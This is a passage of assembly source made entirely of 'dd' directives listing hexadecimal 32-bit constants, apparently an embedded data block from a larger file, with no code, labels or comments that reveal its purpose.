0AD1E794Ah, 0B0D3A180h, 34A351F8h, 39102600h, 49D0752Bh dd 2400900Eh, 497430A0h, 4AC05D08h, 0EF0A63E0h, 47886CF0h dd 0E112A500h, 474E28Fh, 0C9B800BCh, 0ADF17E57h, 49C67C24h dd 0F15919h, 0D168955Fh, 0F5B7F4FCh, 0D320C401h, 53A4702Fh dd 14C99730h, 0BCA202A9h, 70809637h, 0FAB2A93h, 0E0A268EEh dd 2C9008B2h, 49588D6Ah, 0FD851ED0h, 628893C3h, 0EB81223Fh dd 0FF63F31Eh, 0E0CEABC0h, 0CC977EDh, 0A41E7D15h, 0F0B5F649h dd 0A05EE12h, 0DF8E3D26h, 68B61E8Ch, 3DBCFC4Ch, 4DB3A008h dd 0F8BA6789h, 10119C9Bh, 191878B9h, 0EC528155h, 0E96E0B19h dd 74488F51h, 29ED601Ah, 21205DF9h, 9E4EC000h, 0CE3F2C1Eh dd 0B6623F0Eh, 0D581AD81h, 86148C41h, 0A82A6631h, 0DCBB4C89h dd 0BD81AC81h, 5F10840Fh, 789006B0h, 3F9534h, 6258A638h dd 0E2278D96h, 0F6586960h, 401F7106h, 0A10707A5h, 0EA27C590h dd 0A73025C9h, 2DECC031h, 3C4CD425h, 0BC0B003Eh, 0AA481183h dd 0C8999C89h, 77C58286h, 41B90031h, 0A7170401h, 7C04F55Fh dd 30AA9AABh, 545CDC88h, 0A5B66C7Fh, 0E38183A8h, 1ED83111h dd 451930Dh, 0AC80444h, 9F0C8924h, 8655C45Fh, 1FE482F0h dd 75008C44h, 0DFE5FF62h, 3E17327h, 0EDC161B7h, 0E811A972h dd 1C484353h, 5A298BC0h, 2500164Ah, 9ED17841h, 64DD667Dh dd 405EA92Fh, 82E8D938h, 45E00071h, 9E542F39h, 8C091DDCh dd 91330DF6h, 91A409F8h, 14850830h, 3E0F54A2h, 0E37C1AF6h dd 98FFC3B5h, 2E0A8B06h, 400C56E9h, 389B7217h, 16F73C05h dd 0C043AF95h, 7BDB719h, 8AF58848h, 7C51C0B5h, 0CA1FB6BAh dd 55854CE0h, 0F431FBECh, 91A642F2h, 52870080h, 120F013h dd 64AF5500h, 4AF2C884h, 52D3EC2Eh, 0A00D873h, 0B660958Fh dd 6A4804F9h, 1CF783B0h, 44AC9A93h, 0ABEF014Ch, 7ED80E5Bh dd 72845066h, 0EC9802F7h, 4C399660h, 430368h, 10CA0A4h dd 6E1D529Bh, 77ADA100h, 0BE091FBDh, 3FE0B1E7h, 9C984CA2h dd 0D110EA42h, 0C44F00AEh, 0A1FBCDB7h, 40851252h, 0B0104A41h dd 8F2C40F0h, 7207F70Fh, 5A97CA42h, 0D380C615h, 18E9ADBCh dd 705C952Bh, 0A9C0A71Eh, 6D5489E5h, 17711783h, 0DAD860EDh dd 590758BDh, 85246AC7h, 8EB07C90h, 9C235254h, 212D4501h dd 240EE230h, 2288A368h, 68064D32h, 0C0CC39C0h, 4D139A29h dd 0B905424Ch, 48427916h, 0C06BBF0Eh, 0BAE1A05Bh, 10F4A040h dd 0CF08C438h, 523C8111h, 50811550h, 99168AD4h, 0C1ADBB17h dd 8FD06827h, 642FE9ACh, 988A104Eh, 18E935BCh, 11876F41h dd 89B78E85h, 3EA0302Ch, 0FBF8008Bh, 850A3C3Bh, 565490C2h dd 7707C888h, 8301B554h, 7B102579h, 380E2284h, 0F47616F7h dd 30C8D379h, 79AAA3F8h, 0E16129C0h, 3D7DEECFh, 0AC8A30D1h dd 1684A125h, 0A0782014h, 73E90CB3h, 60EF34C4h, 6280D427h dd 0BA56A9A6h, 42F8909Ch, 0BDB7105Eh, 33ED9200h, 0CB6BDA94h dd 1F87B58h, 0FB7DAFFAh, 7073EC42h, 0BC00F22Eh, 831D241Eh dd 0C0709EF3h, 0FD467C90h, 0C4B3A278h, 1582B083h, 0D30BA0B7h dd 3F3E139Bh, 2C5D0066h, 836234D8h, 888AE829h, 0F887AD81h dd 0AFD10EDFh, 99F2C024h, 0B617C8h, 962AF5D5h, 556DB1B9h dd 0A841FE18h, 0B117763Fh, 63ACA157h, 9CAC7734h, 0CA20225Dh dd 2040BC57h, 7A045ECh, 0F8C45305h, 0F0228B09h, 0A4A30357h dd 410044F2h, 0AE6DC592h, 76DDD859h, 51EB0E3Fh, 8C633339h dd 80ACB46Eh, 8F84188h, 9938EC88h, 9E8790A0h, 24B6826h dd 67FB0h, 0BD2EB0ABh, 80942A1Ch, 6FE56D85h, 247C8C22h dd 0C3B7C07Ah, 930B7735h, 9982F4D0h, 3FBF2B4h, 0AC1E0329h dd 25C85D10h, 0F47616D3h, 56147009h, 84DC38FAh, 66AA008Eh dd 0D6DB8A5Ah, 12E2AEAh, 67CEE0B9h, 55C4C1F8h, 0B8BC88h dd 649018E2h, 0A187C8ECh, 282EEC99h, 1D8D9A80h, 5D7F2669h dd 0C25A5CB3h, 0E0C457B9h, 12C604A8h, 0A714400h, 5FF7DC5Eh dd 676494A8h, 877A10E4h, 841C802Ah, 67803CD1h, 69641841h dd 566E24FBh, 0E114FF8h, 95956D7Bh, 52FC08Ch, 0DB50AAh dd 0DF5E605Ah, 8BD97FCEh, 0F83EA126h, 0F0F30A40h, 52F40521h dd 0C468920Dh, 0C038B2F8h, 2E1E62EFh, 42223CBBh, 0A3DD7701h dd 0E8FE0C88h, 5C9389A5h, 93AD3C08h, 0F254633Ah, 74C05EC4h dd 0AFDECA3Ch, 1DAD1CB2h, 0A3F24963h, 0A043CC38h, 0F4017D00h dd 0DF7CBC56h, 636813D2h, 2F004411h, 0A4EA2379h, 0B8E0C24Fh dd 0EE3F50F7h, 1E196063h, 37D900AFh, 0CF294766h, 521446C1h dd 5C7E468h, 0C54B8514h, 14418088h, 0FB18A5FDh, 5837400h dd 4F25AE55h, 0F88BE516h, 2A247704h, 0BEC50D0h, 91849104h dd 516F7C12h, 40449420h, 80009730h, 0E8A33DE7h, 0A4A964h dd 8890FA4Ch, 271AD561h, 0EB52415h, 938610F4h, 47EBF8A0h dd 4468FF00h, 9059AC2h, 49B90848h, 19126795h, 0BB587090h dd 2E1A0186h, 0C3AD5C34h, 0E14BE910h, 91C1A559h, 6C3DA300h dd 10B95E32h, 0D91EBD80h, 16004342h, 0ED8C037Dh, 5AB856Eh dd 0B03211AEh, 0F87082E0h, 0D4BA6C58h, 0AC835101h, 0ADB8F787h dd 0CC4EE2h, 0C3B76237h, 0BC87796Ch, 940F404h, 9C8806CCh dd 4E84FEB4h, 1C44401Fh, 0BEB870FAh, 7BA76D16h, 71B71022h dd 3C801314h, 0C98C8350h, 0F4E8F251h, 4A01AA08h, 98B3C170h dd 198133FEh, 8F89E694h, 88C50B1h, 49C1011Ah, 0C25BFCE4h dd 0C4CCF17Bh, 0E801E5D4h, 0E6454D35h, 0AC62B5DDh, 47EF0178h dd 14583F6Eh, 43190168h, 7D234980h, 8CFD443Ch, 807EAF00h dd 0F673E3E8h, 0E6A116A6h, 5978BC12h, 18782270h, 0F6A7FCE9h dd 0EB02A57Eh, 0F62A19E1h, 0DC7137h, 9A42F7CCh, 0D42CF183h dd 893AFC85h, 0E6A85E6Eh, 0A36003Ch, 780382FCh, 0AFECD7C4h dd 3948B70Ch, 0A8B6205Ah, 70ED0AE8h, 0DFDA02C3h, 69037AADh dd 69577469h, 0AF370084h, 6C9C91D3h, 303802D1h, 0C8078A5Dh dd 850030D1h, 19F9110h, 37EC7F6Dh, 0F041CC79h, 71F772ABh dd 5314D812h, 230FA021h, 68E048h, 65CB45B3h, 34C693F3h dd 0AE0DA300h, 8A8DB0C3h dd 49E1D66Fh, 88447B80h, 953E5F3Eh, 7D1057BCh, 2EC7BE04h dd 0E8887518h, 3AAD4409h, 3F1922h, 4696A161h, 219C44AAh dd 6C10E0B9h, 27713F80h, 0B6252467h, 0E748A01Ah, 756F376h dd 0F617122Eh, 97F950E1h, 9F05D5C5h, 0D5067B1h, 0BC21A425h dd 0BAE5A931h, 74FB9DCh, 511DC4E3h, 0A084C0C2h, 0C9E01250h dd 22649D49h, 0CE860433h, 0D5ECFA04h, 0C1DC88CCh, 34C81494h dd 48378683h, 2E54F8B5h, 0EDE70511h, 800FD462h, 7EB96555h dd 0BC6A5726h, 0ED01FD89h, 0B6788058h, 2AAE5837h, 8018853Fh dd 0C8FD3AFFh, 4C945FCCh, 0CC441F73h, 50DF5580h, 19C5203Dh dd 0B9A04008h, 0F52E1BA0h, 1E520C03h, 0CEDEA99h, 428C4181h dd 0A0096729h, 101E39E9h, 0F62E3334h, 0AF261F29h, 12D79ECBh dd 961071D6h, 9FC02C04h, 7B75F622h, 62A4263Eh, 0F0806918h dd 0F8A02EDBh, 7B925894h, 26ECE09Ch, 6F3C370Ah, 88BB1991h dd 0CEE2B9F9h, 0C2340078h, 7A54AFE8h, 0B20115CAh, 2CC1232Fh dd 0C380494h, 3893FF80h, 0FDED9C17h, 1537D099h, 47E3E700h dd 0EA160A49h, 56F826E5h, 90104014h, 59029953h, 0E7C1744Ah dd 7EC7341h, 0B37635DAh, 86F3A412h, 0C030B04Eh, 0C03124EDh dd 2B38E781h, 0AD09355Bh, 4632907Ch, 60B65AE4h, 0AD4431D0h dd 0B7C5AB00h, 8ECA133Fh, 662601B2h, 59802B94h, 0FCCC2548h dd 0E4A40683h, 4B172A78h, 0C89428A8h, 0A0127CE6h, 0ED0CABBh dd 0E01FFC20h, 9B86B246h, 3E5E091Bh, 9018676Ch, 4F4838A7h dd 0D65C159Bh, 0C0B4FD8h, 0D5189019h, 6E3100FEh, 9F928087h dd 2D009469h, 890B25ECh, 4801AF77h, 305B4097h, 9691593Ch dd 0BAF94227h, 0CA4C84DCh, 0C7259CB3h, 1361BC20h, 0FAE6EBECh dd 5C338B0Bh, 0E0DC8006h, 0BA6C950h, 4F8FB8CAh, 0F846AC29h dd 0BADC8A41h, 60FE3Eh, 75C2283Dh, 0B3454EDDh, 1D41B43Ah dd 4F852CFEh, 6C80DA0Ah, 1801BF6h, 42BF7EEAh, 9F289D45h dd 5E9DBD29h, 66CDAA03h, 7642C00Ah, 0F0B0417Eh, 9C6A1DDh dd 0F8304006h, 0C1BC0089h, 85D27780h, 0C00E6DEh, 0CD4F7465h dd 7B9E6E7Eh, 0CA2710EEh, 82706010h, 0F105FF39h, 0A0D5D1F0h dd 0C6783C0Ch, 614B5989h, 0B682E106h, 330B933h, 4E6D9AA2h dd 0F0044068h, 0D0AAB4B0h, 46339D04h, 11C8C9BDh, 7CF627CCh dd 0B55968A0h, 0DF271884h, 3A6B2105h, 405C3E30h, 0DCD0A2h dd 0D2F12E38h, 6497C1DFh, 0AA80A654h, 3072BB22h, 4C419598h dd 0C606E080h, 501BD81Ah, 183E7C80h, 999A555Eh, 0A100E4F8h dd 0E80406B8h, 1590E0Ah, 422E1869h, 0EC16888Ch, 0AC0CDD45h dd 71D004CAh, 41276048h, 540C8230h, 7907300h, 0E63C789Ch dd 88961431h, 0DD1E7C05h, 0A81101AEh, 256B5149h, 89DCF408h dd 8D18228h, 7459DA18h, 0EE5776C9h, 8A2F004Fh, 2A507806h dd 440C16B8h, 814E556Bh, 26310082h, 809E01CBh, 0F102380Eh dd 0B7CCFF74h, 96C4A6ADh, 0AC542A51h, 0F14818B4h, 0A4634044h dd 39C4FC00h, 2F095C32h, 299301A8h, 6926CEB1h, 6D5C2040h dd 944700E9h, 12EC7F52h, 0C832D9h, 0D00FFA26h, 2E074BE7h dd 7E0D8707h, 0E0AD9131h, 0FD256CE0h, 423818BCh, 4DD2C781h dd 42B58380h, 7F218F10h, 39808591h, 414718E7h, 0B80ABBAEh dd 24116DF5h, 95A14130h, 30866310h, 85F86720h, 3900DE99h dd 7721E289h, 602F56F0h, 6C0351D4h, 68021D75h, 9EF3604Ch dd 65E02008h, 0C1019706h, 1573E622h, 90889360h, 6C858790h dd 5404E12Dh, 115893A3h, 0AC613090h, 47C12D69h, 21809531h dd 74DFA98Dh, 7200814Eh, 6C7338ABh, 0C6F4BFAh, 4C0EF9A5h dd 60309ED0h, 0F167710Fh, 9AD00372h, 6AB54D05h, 868C9111h dd 0BC6D0F08h, 8D441180h, 1D394256h, 2EC6596h, 127ADAA2h dd 1CC08DACh, 1C916F9h, 169140B4h, 41090A9Bh, 0B918E63Ch dd 21220330h, 18179DF7h, 0D19A9E10h, 7300C0A1h, 0BD5C126Dh dd 71B8D2h, 58F9B6D4h, 0EAA97BFBh, 9E3029D8h, 7E39C0A3h dd 0E2ED2216h, 0BAA719C8h, 2B0F8F00h, 5B2DE3F9h, 810DAC39h dd 0C1D620A1h, 0C18861DEh, 7F898F22h, 1E143389h, 3EB60F20h dd 951183BEh, 9B6201DAh, 10870126h, 2302BF9h, 0E730E4Ah dd 860A3A9Eh, 23E512ACh, 5EC48D5Ch, 67B37746h, 19952A10h dd 92170E90h, 554F8C75h, 0B4AEC2C0h, 9A039693h, 4331B0ECh dd 0F22818A8h, 554C496Ah, 0FFE22C2Ch, 0C05DF60Eh, 0F3648F81h dd 0ED9C0038h, 91A6DBDCh, 64A9150Eh, 92400076h, 0F79D1966h dd 61108106h, 219C14E8h, 528385D4h, 0EAE0158Ch, 37ECBB4Dh dd 0D5145200h, 6592C42Bh, 21D7005Eh, 4C0D89F0h, 6077F358h dd 0DB690A0Ah, 0A829744Dh, 0C6B909h, 4A36F64Bh, 96870046h dd 71C21AC1h, 0F0A8E4F0h, 12220D40h, 488548D4h, 8FA81780h dd 74172ED1h, 14007D22h, 2D23DCEEh, 5E941C6Eh, 438C1266h dd 15F99EE4h, 0D8F2E11Dh, 94D10020h, 85670E46h, 6900E638h dd 0D0526B2Fh, 241C8D8Eh, 9124DC3Bh, 98600A5h, 35AAB974h dd 0B60E2477h, 0C22283A4h, 5900DFEFh, 0CD80301Ch, 3995FBh dd 7EFF86E8h, 8EF584E5h, 993CDD02h, 0A1E65FEAh, 0EC905BB8h dd 0A6E9E00h, 0F4A39491h, 59101580h, 1D2E90FAh, 42AFB3Bh dd 0D285D30Fh, 992C866Ch, 87F0A87Bh, 8A393A6Dh, 3A037F03h dd 613CCC9Ah, 13DDBE13h, 10434B49h, 0B0C56C0Dh, 0CE0C55E2h dd 0A0076781h, 0FF10140h, 1728D47Eh, 902A31DFh, 89C44h dd 9E4EF55h, 2A517333h, 0AAE7A13Ah, 380194B8h, 165835C1h dd 0B19D0E94h, 0C318C0B4h, 5DDC1C42h, 35EC737Bh, 0B1AF512h dd 0B11BCC44h, 40DA9544h, 3DAF2EB3h, 736A0052h, 863B8D06h dd 607D9835h, 9F30D5B0h, 1E1799A2h, 0EB9901BCh, 40641267h dd 122033E5h, 702070E7h, 8A562Eh, 466C1393h, 3677407Bh dd 1841F500h, 0CE2F55A8h, 9A117944h, 8952A98h, 0D53A3AD8h dd 0A3307086h, 3922B96Bh, 0F2E110ECh, 0D7007C81h, 0C6DA57FBh dd 53B6170h, 6C38B71Ah, 4B944A9Bh, 0CA2646A8h, 0BDA4F400h dd 1668AFACh, 6F6E183Eh, 0B9F859B5h, 0B3CA4900h, 0EB4688B2h dd 2C180260h, 0D70272Dh, 4E13E048h, 6491EDECh, 413B9E0Dh dd 14306AE1h, 7EA200D2h, 0D06655DDh, 0E1C1E384h, 0B51310E1h dd 20B43996h, 0BBCF3A74h, 0A0386012h, 8F016422h, 44375214h dd 82A7EFC2h, 2212FF3Ch, 88A069F2h, 7CAAD23Ah, 78B62124h dd 1F90ECC7h, 360F762h, 5EFDFE96h, 980B5AAAh, 1513640h dd 735397B8h, 6E704824h, 0B5E0D979h, 6F7635BAh, 0B1362007h dd 6402B029h, 35C447Dh, 38411622h, 91A178AEh, 0C903623h dd 0B9D5EC10h, 0EF420Dh, 0B7D3F3E8h, 1471BEh, 47051D7h dd 0DE27C76Ch, 0CB8C4D48h, 91B80EE7h, 22B97B02h, 34C16AEAh dd 0FC8C1486h, 0A33706C8h, 4A275EB2h, 0C9339C00h, 2CA59FD9h dd 0FDEE3443h, 0CA40C428h, 71AA30D4h, 1DD5670Dh, 6646DC18h dd 0ADFB605Ch, 25148475h, 84D87F76h, 0A148B6E5h, 4E09F86Ah dd 0F0029E4h, 44BDA8C0h, 0E2924083h, 9EA29h, 8D19159Fh dd 1327F5A7h, 85E6F202h, 60111E49h, 49E4407Ch, 0F2E8816h dd 48C4E810h, 0A63E88B8h, 11129CACh, 9951428h, 0C72A59E6h dd 6F064CA0h, 0CA0B70A0h, 10927FA6h, 180B77D8h, 1165EF4Ch dd 0F7013F71h, 4B20D228h, 8051BB6Bh, 7011D5EAh, 3C9980BDh dd 0A5AACD33h, 0DDCE0057h, 5610482Eh, 0E6E21F20h, 1294AB4Dh dd 950E8741h, 6D818076h dd 0B8302E54h, 5290A464h, 4570B47Dh, 6C099EB5h, 2F5868A6h dd 0AAF27Ch, 0DB807316h, 239E0A97h, 8EBA0802h, 0AE86E563h dd 0B0B708C8h, 38B97C68h, 8522D901h, 92917E18h, 1040F9A8h dd 1CCD82Fh, 7E140367h, 0A9952838h, 9458F83Bh, 0F3DAB5C0h dd 0D700D550h, 1E3335DCh, 38F25B0Bh, 8782FAF4h, 4E7A3846h dd 7844B844h, 0F0B0FDh, 1825B57h, 436FF29Ch, 5F885954h dd 0A542DA02h, 0A56B202Eh, 5088828Ch, 8F3E1E29h, 7498981h dd 8A3F3C10h, 0DA6B7AECh, 104C0AC1h, 1412F762h, 0B9D44104h dd 2013CF1Eh, 4D066680h, 0B4B19B09h, 6CDC8122h, 0C0488025h dd 0E30084D7h, 0B41B9470h, 12E3473h, 0CFDD1C69h, 88DEDA3Eh dd 0A623F479h, 6AAEBFFCh, 73ACE3E0h, 28095F88h, 31F92200h dd 0C17792F0h, 0CB8D09FEh, 0F4A083EDh, 813A1617h, 8FCEE0A0h dd 64188426h, 3DF7E853h, 0F93A008Bh, 99DEED44h, 6F41157Fh dd 90189090h, 505CC0E4h, 0CB4DECh, 0E59FC514h, 2085DEFBh dd 2697E448h, 0B48954A4h, 224C3178h, 924020D6h, 0F46D9D2Bh dd 78326028h, 9CD3D481h, 0CF26D1E1h, 0EC1B4111h, 6AF07824h dd 95443CFCh, 20804096h, 0E3FFB568h, 60CB0A6Eh, 81E4DDEFh dd 7A56D60Bh, 0E813DC26h, 0FD0E6200h, 0F2F5A105h, 5C0B49ECh dd 0EE6E6C00h, 0D77EA83Dh, 5D2C2048h, 94E5266Ch, 0B81120AEh dd 914E1601h, 0C0471794h, 1094CA9Fh, 8A07FC88h, 12300E76h dd 6DC8D024h, 741A0DE9h, 4169223Fh, 0EFCC43B5h, 95609631h dd 0E008091h, 2734F5ABh, 204468Ah, 8379CB12h, 861404h dd 0A326DCE7h, 70090382h, 3243729Eh, 9288C9DCh, 8225760h dd 471220B5h, 2F065D0Eh, 1814C573h, 0C4A618h, 83C2B3D8h dd 67C41FA8h, 98364905h, 0F048EC95h, 901849BDh, 0A87DB1B2h dd 3EC1577h, 2C446E48h, 0D4640067h, 270094CAh, 0E230111Fh dd 0F00C815h, 8B529299h, 0DDC91Ah, 4B871D06h, 0B2389DA0h dd 1062A096h, 13D85AE9h, 6161DC0Dh, 388F7F08h, 64258888h dd 5956190h, 4225299Fh, 2FCFF9EAh, 3F3AC48h, 0E73C8482h dd 36EF4D42h, 0B61FA070h, 0DB0306A1h, 0F0803ECEh, 3824AA98h dd 16A936AEh, 5FF101F0h, 97CDE9D3h, 10462211h, 2E89A99Eh dd 79B894Dh, 81905A13h, 0EB4FF773h, 0AF88A9E0h, 0F14CD914h dd 11F05DF8h, 0F2181F62h, 493DD1C2h, 1ED2331Fh, 9A2CA280h dd 11A6809h, 5659874Fh, 0EA3E5337h, 328584A5h, 187B2690h dd 0E46B8B43h, 0DF940156h, 22E5CA34h, 707493E4h, 0A2888Ch dd 7DDB41A1h, 0DD04595Fh, 8C318601h, 0D4301869h, 83BA7001h dd 472EA871h, 0F9EBA0D2h, 655726EAh, 0B5486048h, 15009066h dd 0D9B84DC4h, 2FFD289h, 6C247851h, 0E471E728h, 2E637681h dd 6C25A6D4h, 9B05F9F4h, 0C8B613BCh, 2A4E6C24h, 148ADC22h dd 0FF4E8498h, 80EF3C46h, 6E8F0021h, 42A1E877h, 0B70E2E06h dd 96645EEh, 0F998E950h, 0E878E073h, 1461E9ECh, 5D03442Dh dd 0AE597F9Eh, 0B860DA0h, 4E41B500h, 8CC81DA2h, 6120A094h dd 0AC700506h, 30A384AFh, 50860EB4h, 12876E00h, 543975EBh dd 4118014Dh, 67C02B59h, 3E8C484Bh, 7C50EC16h, 0E980A71Dh dd 8F414A6Bh, 0B52C0340h, 77F01CE6h, 7FE2D3A8h, 0B74234B8h dd 80142Ah, 5CCB6BB1h, 98D4ACE9h, 8B74CF3Fh, 5F9E8935h dd 9318B10Ah, 9CC213E5h, 8B014C84h, 16F8BB05h, 3891B4D5h dd 6E3B04BDh, 1CC8B89Bh, 35CA0EAh, 0AAC0092Eh, 70C83B9Eh dd 851AE682h, 64A109C3h, 833F00E8h, 0CB446B24h, 0F644113h dd 404093C8h, 6B6A333Eh, 9D9F0A18h, 39FC61h, 609CBD3h dd 0E3ECA92Bh, 0AFC51C02h, 0C01B9BA8h, 6D398919h, 2969A825h dd 597880D0h, 4F06422h, 0E29D8F03h, 0B924C055h, 2D00BB12h dd 5E643EFh, 7E5E387Dh, 0E280024Ch, 0DBD789E4h, 670048ECh dd 41AF6313h, 545F376Ah, 392CC30h, 76E2A712h, 10C0AB17h dd 0C1C59BECh, 4C120A9Eh, 0BBB79008h, 0DC36F03Ah, 6E275890h dd 3D24108Bh, 0BD90056h, 0FB592892h, 3002AEDCh, 151825F7h dd 5A8D109h, 59FC3h, 906B9299h, 0F902BF18h, 86B9717Ah dd 6FD0C0A3h, 0E7A8A993h, 7913020h, 3C7CFE15h, 684C027Eh dd 9FF3F8C1h, 77DF3820h, 6600A9ACh, 6AB6CCF9h, 40AC0B1Dh dd 4C689E60h, 2C7B98E3h, 0FD53D800h, 93865AD0h, 56143831h dd 0E1461605h, 5F9C8C6Ah, 0EFBE700h, 71066EA4h, 0A080529h dd 0C2F0AEE6h, 1A209D70h, 1C987A68h, 800340CCh, 0A4DB1F25h dd 0F900DA17h, 0D42F9EC5h, 0E4450D77h, 0B448FBE5h, 820A4436h dd 7E6D8007h, 9819B8A3h, 0AFD694h, 58F4D8Ah, 0D5153DACh dd 7974A148h, 0B19E2740h, 0B2230788h, 63611EAEh, 30CC57C9h dd 0AC00BD34h, 8E16375Bh, 26338147h, 40B8940Ch, 6C79434Fh dd 0DE2DD4E6h, 24CC0042h, 4EAA6A47h, 40B837E0h, 38E37F3Bh dd 0F88F9502h, 72EFAB63h, 627590h, 934892CBh, 2A03FE81h dd 0CD0BB009h, 0F8704B70h, 0F3850DFh, 0AED4EA8Eh, 9C7D3F00h dd 7772092Ah, 2966DE00h, 9340A3B6h, 61009438h, 0DF19B0Eh dd 0FF7E30FCh, 16863468h, 0E70C70DCh, 19DA8D7Fh, 28384E6Ch dd 85000370h, 0BA93BBF3h, 32231EBh, 5095B110h, 5BA09D84h dd 7B71EFF9h, 0B0AC1B14h, 961688D8h, 0CA348867h, 0EA71CC00h dd 0EC921F11h, 905F0B5Bh, 5C811638h, 8874ADCBh, 41057341h dd 897E1303h, 90941526h, 8853C0h, 172D98E2h, 8426BC3Bh dd 5D364300h, 7109F9ECh, 350D1993h, 11E1D87Bh, 0B862947Fh dd 493E5050h, 2862D40Ah, 7822EC26h, 4344E161h, 2B911C52h dd 41E7C804h, 0FE0592E5h, 9E3840C2h, 0B93363FCh, 0F84DE810h dd 2E26C0B8h, 17BBFA2h, 0D3093637h, 109E9DB1h, 38C1575Ch dd 56BC489Ah, 0CDEE04F8h, 8492741Dh, 0B2A4A4B8h, 0E4DEF601h dd 129427C1h, 0D287822h, 72830094h, 0D6CBC0EAh, 16F6C94Dh dd 0EFC8E004h, 7CC6BA52h, 934728A0h, 100844D4h, 0FB6EA22h dd 1689B7B5h, 16C4B08Ah, 4D18D89Dh, 6994FC00h, 1981A33h dd 0C521074Ch, 0CB7E18D9h, 246C6090h, 40F9ED60h, 289D2867h dd 22381F35h, 9C94A9EFh, 9F993E40h, 0D8CC004Eh, 0FBC1D5CDh dd 0F5396C8Fh, 7E239967h, 343D9529h, 6387C13Fh, 50F3A3CAh dd 22C45B1Ah, 0B67D2500h, 0E882E2D6h, 1270C2ECh, 0C8B8E741h dd 0F570FB4Fh, 4CC1C00h, 0E8B69A83h, 9B72C2Ch, 80AA0934h dd 10867049h, 46E3722h, 0F49E920Dh, 0CC8C535Ah, 0C57312B5h dd 2700C8C1h, 1E00C770h, 42A26326h, 5CD6E86Eh, 6C3E6BAEh dd 7F297631h, 4D42386h, 6D103663h, 253C08A2h, 609E8D0Bh dd 0C065CCE9h, 0EF3C4C4Fh, 0F7506F28h, 0D6054C90h, 7732036Ch dd 66BEACBBh, 76F5021h, 0E0E2279Eh, 91869D38h, 0A0941809h dd 6757823Ch, 24C40FBh, 777030FFh, 698C55A1h, 0CC24807Ch dd 601CDCE8h, 6A8B851Dh, 207F8E28h, 407E20C7h, 0D89335h dd 4A543774h, 9A00FCF7h, 60F41B4Eh, 1514FD99h, 5C7376B6h dd 4DED0900h, 333BC571h, 230F0B13h, 11B8A810h, 44708716h dd 0BB6070A6h, 8E4A92A1h, 0FA540025h, 2986F74Bh, 59C47059h dd 678146ADh, 98212AC5h, 199E8EF1h, 0BDBB002Eh, 3B9229F0h dd 0AA19F501h, 0E377432Fh, 981DCC33h, 0B62043A9h, 0CD88459Ah dd 7C0B9F7Fh, 7EA8C93h, 3EE0C509h, 4CD5914Ch, 6D820C19h dd 0EA228614h, 22182DA5h, 0D2941FD4h, 86113426h, 0E10D0F00h dd 7218E37Bh, 54CF8A16h dd 0A1936402h, 0A2D8C14Dh, 910AC010h, 0E23F7002h, 610CF4FAh dd 0A039EFD3h, 0B9212D01h, 507E50E6h, 7B782230h, 70A8E7E8h dd 5701C260h, 0A1EC0D7Ch, 0D1D82D39h, 47960904h, 51A5D440h dd 0F300C0B8h, 9494E8A0h, 1F68C0C7h, 40786E40h, 0CD972679h dd 839CF600h, 677706C2h, 9B7503BEh, 991C8027h, 0A0CCDDA0h dd 8303FC9Eh, 0EB933C14h, 0B8610170h, 389F96C5h, 5F48C067h dd 0A3C1B309h, 0E738997Fh, 6ADC302Bh, 5B514750h, 0B786C814h dd 0E0729E81h, 1A5FFB00h, 0FE5330C1h, 2A7A6A00h, 476DA3A4h dd 382395E8h, 19C03294h, 2C00856Ah, 92A61AB3h, 0D1C7B6h dd 5F9FDFC1h, 0D033ED7h, 6AC238h, 9C94E1ECh, 357FA0h, 3C40B8D3h dd 6AE62137h, 38B4173Bh, 10D4D807h, 820B934Ch, 4018116Ch dd 6F226E0Ch, 22F780B4h, 3777014Ch, 51945773h, 81483993h dd 60AF46Ch, 21D0C480h, 0E94C6F8Fh, 24310800h, 0A81A293Bh dd 9C1C9189h, 0CA76C0EAh, 0F99C7BDEh, 34B5FC07h, 22649D6Eh dd 4254B488h, 0A17F22D4h, 1AFCB11Ah, 13C1138Bh, 0BF00BA46h dd 0F94AE6F0h, 44E0B847h, 3A1403B8h, 2444E2h, 0C791E44Dh dd 0F8E72972h, 23513C20h, 0CE9AC387h, 1DDE3192h, 8E2860A6h dd 1B11DC42h, 0B4952C84h, 0A9899340h, 183F002Dh, 77A6DB6Dh dd 1D0026E2h, 1AF6D6CEh, 4E6829h, 4A16F349h, 6317E87h dd 0CEEB001h, 0BB72863Ah, 8C0C7461h, 0BC290751h, 0A0DCFC8Ch dd 91743667h, 0AF0AEA03h, 0D00DD410h, 0DABFC6h, 1244407Fh dd 9D9BC14Ch, 6C016E16h, 78050824h, 5888EF0Dh, 9AC53DB9h dd 2083D300h, 0B3FDDE9h, 2B7D417Fh, 5004AC90h, 1887F80h dd 9E131CBDh, 0D014276Eh, 23212AE6h, 9C580FF8h, 1945D6Ch dd 0AC69C738h, 1920153Bh, 80790C21h, 0F560163Ch, 3DAA6300h dd 89BB788h, 0D10D0AE6h, 7C4B8Ah, 10673EE3h, 8975A49Fh dd 0F2335813h, 0FB90C0D7h, 1B2BDh, 377FC576h, 0C07D6E15h dd 0FA71A614h, 0CDAA03A8h, 467A3992h, 0D324D4B0h, 26AF0041h dd 1124D9Bh, 57A81801h, 0BB0ECBEh, 0A07F3CCh, 0CFA92CAh dd 237092B4h, 84C0B680h, 2102EF46h, 829439C7h, 9854C23Ah dd 7784280h, 0A9E7CBAAh, 0E94E9099h, 624462Fh, 3026C13h dd 0CB367901h, 599DE4Ch, 0E6CC71EFh, 850C1B7h, 7976120Ah dd 113A8018h, 0EB7F4FABh, 9CD99B00h, 7103948Dh, 7989116Ch dd 0F744C2EFh, 69846985h, 0E5EA9017h, 0E6FA8B23h, 182731C0h dd 22CFEFFh, 4115EE4Ah, 9CCC1091h, 0C3B8CA00h, 0D3220EB7h dd 993030Fh, 0FBA331CFh, 0CD916CB0h, 86341558h, 0B0891173h dd 21760098h, 0D99F6D8Ah, 0B381B07h, 892A0547h, 38F48E7Fh dd 0F6C78FDh, 2418C969h, 0F2104616h, 980021BEh, 0B4E7DABCh dd 4CEC348Ah, 6002907Fh, 0AD6675F1h, 0F300F059h, 0B6E6A056h dd 927E5Ch, 422AF911h, 1991BA3Ch, 6AE40B04h, 10C12F38h dd 0E062A7EAh, 8091DA81h, 0D325E855h, 2ECAAF09h, 78208486h dd 90075884h, 208F069Ch, 586D22CDh, 27F4B842h, 5CA90110h dd 6C1B58CCh, 0A061EC25h, 0AA020592h, 9DF01898h, 507197h dd 207F823Dh, 8E62A130h, 740AAB3Bh, 10904D7Bh, 25243B22h dd 0DC209E67h, 0D83C01B5h, 324FA101h, 490A7CC4h, 118F34F8h dd 28B63E10h, 0CC839C18h, 